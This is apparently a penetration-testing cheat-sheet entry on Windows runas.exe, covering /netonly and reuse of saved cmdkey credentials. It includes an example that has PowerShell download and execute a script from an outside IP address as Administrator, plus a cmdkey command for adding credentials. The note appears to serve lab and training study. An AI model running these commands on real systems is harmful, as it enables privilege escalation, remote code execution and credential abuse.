Summery

Runas.exe is a native Windows CLI tool to run a program as a different user.
Important: This tool works in GUI only! CLI isn’t possible as it literally spawns a new shell window and you can’t make to behave any other way. To bypass that, you may want to use runasCs.exe instead.

Commands

runas /user:DOMAIN\username "cmd.exe" - Basic command
runas /netonly /user:DOMAIN\admin "cmd.exe" - Creates a new process under your current user’s token, but uses the specified credentials ONLY for network connections. Local access stays as you; network access (SMB, WMI, WinRM) goes as the target account.

You can reuse the credentials from cmdkey /list to send yourself a reverse shell as the specified user, run a binary, or launch a PowerShell or CMD console with - runas /savecred /user:inlanefreight\bob "<COMMAND>"
Example: runas /user:ACCESS\Administrator /savecred "powershell """IEX(New-Object Net.WebClient).downloadString('http://10.10.15.32:1337/8001.ps1')""""

Depending on your permissions, you can add credentials to cmdkey with cmdkey /add:dc.sendai.vl /user:SENDAI\sqlsvc /pass:YourPassword

References

Similar tools: runasCs.exe